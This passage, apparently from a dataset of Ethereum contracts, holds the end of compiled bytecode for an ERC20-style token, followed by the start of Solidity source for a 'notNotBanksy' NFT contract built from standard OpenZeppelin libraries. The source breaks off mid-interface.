fffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516104699190611789565b60405180910390a3600191505092915050565b60005481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6000803390506000600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff169050600061056985604051806060016040528060258152602001611bfb60259139610d4b565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156105c357506bffffffffffffffffffffffff8016826bffffffffffffffffffffffff1614155b156107015760006105ed83836040518060600160405280603d8152602001611b58603d9139610da9565b905080600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516106f79190611789565b60405180910390a3505b61070c878783610e23565b600193505050509392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b60026020528060005260406000206000915090505481565b6040518060400160405280600481526020017f433447330000000000000000000000000000000000000000000000000000000081525081565b60008061082883604051806060016040528060268152602001611c2060269139610d4b565b9050610835338583610e23565b600191505092915050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff86141561087e576bffffffffffffffffffffffff90506108a3565b6108a086604051806060016040528060248152602001611b3460249139610d4b565b90505b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8666040518060400160405280600481526020017f43414745000000000000000000000000000000000000000000000000000000008152508051906020012061090b61113b565b3060405160200161091f9493929190611607565b60405160208183030381529060405280519060200120905060007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a600260008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906109ad906118fd565b919050558b6040516020016109c7969594939291906115a6565b604051602081830303815290604052805190602001209050600082826040516020016109f4929190611539565b604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051610a31949392919061164c565b6020604051602081039080840390855afa158015610a53573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac6906116d3565b60405180910390fd5b8b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610b3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3490611713565b60405180910390fd5b88421115610b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b77906116f3565b60405180910390fd5b84600360008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508a73ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610c889190611789565b60405180910390a3505050505050505050505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b60006c0100000000000000000000000083108290610d9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d969190611691565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff1611158290610e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e049190611691565b60405180910390fd5b508284610e1a919061180d565b90509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8a90611733565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efa906116b3565b60405180910390fd5b610f7d600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060368152602001611b9560369139610da9565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611064600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060308152602001611bcb60309139611148565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161112e9190611789565b60405180910390a3505050565b6000804690508091505090565b600080838561115791906117cb565b9050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff16101583906111bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b29190611691565b60405180910390fd5b50809150509392505050565b6000813590506111d681611ad7565b92915050565b6000813590506111eb81611aee565b92915050565b60008135905061120081611b05565b92915050565b60008135905061121581611b1c565b92915050565b6000602082840312156112315761123061197f565b5b600061123f848285016111c7565b91505092915050565b6000806040838503121561125f5761125e61197f565b5b600061126d858286016111c7565b925050602061127e858286016111c7565b9150509250929050565b6000806000606084860312156112a1576112a061197f565b5b60006112af868287016111c7565b93505060206112c0868287016111c7565b92505060406112d1868287016111f1565b9150509250925092565b600080600080600080600060e0888a0312156112fa576112f961197f565b5b60006113088a828b016111c7565b97505060206113198a828b016111c7565b965050604061132a8a828b016111f1565b955050606061133b8a828b016111f1565b945050608061134c8a828b01611206565b93505060a061135d8a828b016111dc565b92505060c061136e8a828b016111dc565b91505092959891949750929550565b600080604083850312156113945761139361197f565b5b60006113a2858286016111c7565b92505060206113b3858286016111f1565b9150509250929050565b6113c681611841565b82525050565b6113d581611853565b82525050565b6113e48161185f565b82525050565b6113fb6113f68261185f565b611946565b82525050565b600061140c826117a4565b61141681856117af565b93506114268185602086016118ca565b61142f81611984565b840191505092915050565b6000611447603a836117af565b915061145282611995565b604082019050919050565b600061146a6002836117c0565b9150611475826119e4565b600282019050919050565b600061148d601f836117af565b915061149882611a0d565b602082019050919050565b60006114b0601f836117af565b91506114bb82611a36565b602082019050919050565b60006114d3601a836117af565b91506114de82611a5f565b602082019050919050565b60006114f6603c836117af565b915061150182611a88565b604082019050919050565b61151581611889565b82525050565b61152481611893565b82525050565b611533816118b8565b82525050565b60006115448261145d565b915061155082856113ea565b60208201915061156082846113ea565b6020820191508190509392505050565b600060208201905061158560008301846113cc565b92915050565b60006020820190506115a060008301846113db565b92915050565b600060c0820190506115bb60008301896113db565b6115c860208301886113bd565b6115d560408301876113bd565b6115e2606083018661150c565b6115ef608083018561150c565b6115fc60a083018461150c565b979650505050505050565b600060808201905061161c60008301876113db565b61162960208301866113db565b611636604083018561150c565b61164360608301846113bd565b95945050505050565b600060808201905061166160008301876113db565b61166e602083018661151b565b61167b60408301856113db565b61168860608301846113db565b95945050505050565b600060208201905081810360008301526116ab8184611401565b905092915050565b600060208201905081810360008301526116cc8161143a565b9050919050565b600060208201905081810360008301526116ec81611480565b9050919050565b6000602082019050818103600083015261170c816114a3565b9050919050565b6000602082019050818103600083015261172c816114c6565b9050919050565b6000602082019050818103600083015261174c816114e9565b9050919050565b6000602082019050611768600083018461150c565b92915050565b6000602082019050611783600083018461151b565b92915050565b600060208201905061179e600083018461152a565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b60006117d6826118a0565b91506117e1836118a0565b9250826bffffffffffffffffffffffff0382111561180257611801611950565b5b828201905092915050565b6000611818826118a0565b9150611823836118a0565b92508282101561183657611835611950565b5b828203905092915050565b600061184c82611869565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b60006118c3826118a0565b9050919050565b60005b838110156118e85780820151818401526020810190506118cd565b838111156118f7576000848401525b50505050565b600061190882611889565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561193b5761193a611950565b5b600182019050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f433467333a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008201527f616e7366657220746f20746865207a65726f2061646472657373000000000000602082015250565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b7f433467333a3a7065726d69743a20696e76616c6964207369676e617475726500600082015250565b7f433467333a3a7065726d69743a207369676e6174757265206578706972656400600082015250565b7f433467333a3a7065726d69743a20756e617574686f72697a6564000000000000600082015250565b7f433467333a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008201527f616e736665722066726f6d20746865207a65726f206164647265737300000000602082015250565b611ae081611841565b8114611aeb57600080fd5b50565b611af78161185f565b8114611b0257600080fd5b50565b611b0e81611889565b8114611b1957600080fd5b50565b611b2581611893565b8114611b3057600080fd5b5056fe433467333a3a7065726d69743a20616d6f756e7420657863656564732039362062697473433467333a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365433467333a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365433467333a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773433467333a3a617070726f76653a20616d6f756e7420657863656564732039362062697473433467333a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473a2646970667358221220b5cb0c4c9f7874d2742a4a66debdbc3cfc13a900deee5ea8379e63603d3a908564736f6c63430008060033
[ 38 ]
0xf2ef81c466c074cab2f66bea402201461f07c168
/** *Submitted for verification at Etherscan.io on 2022-04-08 */ // SPDX-License-Identifier: MIT // notNotBanksy // THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL // 2022 NOT NOT Nfts // Free steal // Max 2 x Transaction x Wallet // THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL // THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL // THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL // THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL // THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL // THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL // THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL // THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL // THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL THE BAD ARTISTS IMITATE, THE GREAT ARTISTS STEAL // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, 